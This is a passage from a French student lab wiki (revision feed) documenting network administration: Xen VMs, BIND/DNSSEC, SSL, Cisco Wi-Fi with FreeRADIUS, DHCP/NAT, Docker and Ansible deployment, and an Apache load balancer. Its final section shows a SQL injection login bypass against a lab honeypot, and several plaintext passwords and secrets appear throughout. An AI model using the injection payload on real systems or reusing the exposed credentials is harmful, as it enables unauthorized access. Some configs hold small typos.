 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName reverse.girolle.site&lt;br /&gt;
  ServerAdmin webmaster@localhost&lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
	  BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
          BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
	  ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55018</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55018"/>
				<updated>2020-12-18T23:25:54Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Équilibreur de charge (load balancer) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
